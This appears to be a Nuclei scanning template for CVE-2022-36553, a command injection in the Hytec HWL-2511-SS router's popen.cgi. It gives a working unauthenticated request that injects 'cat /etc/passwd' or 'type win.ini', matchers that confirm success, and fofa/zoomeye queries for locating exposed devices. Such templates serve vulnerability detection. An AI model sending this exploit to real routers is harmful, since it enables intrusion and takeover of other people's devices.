id: CVE-2022-36553

info:
  name: Hytec Inter HWL-2511-SS - Remote Command Execution
  author: HuTa0
  severity: critical
  description: |
    Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the Hytec Inter HWL-2511-SS cellular router through command injection in the popen.cgi endpoint, potentially gaining complete control over the device and connected network infrastructure.
  remediation: |
    Update Hytec Inter HWL-2511-SS firmware to a version later than 1.05 that properly sanitizes command parameters in popen.cgi.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36553
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/cellular-router-rce.yaml
    - https://gist.github.com/Nwqda/b27418ab801eb0b9cdbe8d042cb0249b
    - https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html
    - https://hytec.co.jp/eng/wordpress/wp-content/uploads/2019/09/hwl-2511-ss-ds.3.0.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36553
    cwe-id: CWE-77
    epss-score: 0.93612
    epss-percentile: 0.99843
    cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: hytec
    product: hwl-2511-ss_firmware
    fofa-query: title="index" && header="lighttpd/1.4.30"
    zoomeye-query: app="Hytec Inter HWL-2511-SS"
  tags: cve2022,cve,hytec,rce,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "cat%20/etc/passwd"
        - "type%20C://Windows/win.ini"
    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "contains(body_1, '<title>index</title>')"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
          - "contains(body_1, '<title>index</title>')"
        condition: and
# digest: 4a0a00473045022006c9ae94371f609571dd0404fbb97334b211a4690868a8c04eec00d07bcfd19f022100810d2837923b0599a2c18d41fa1cfcee5788cd81e3b7eebec24e5d3ab2391c25:922c64590222798bb761d5b6d8e72950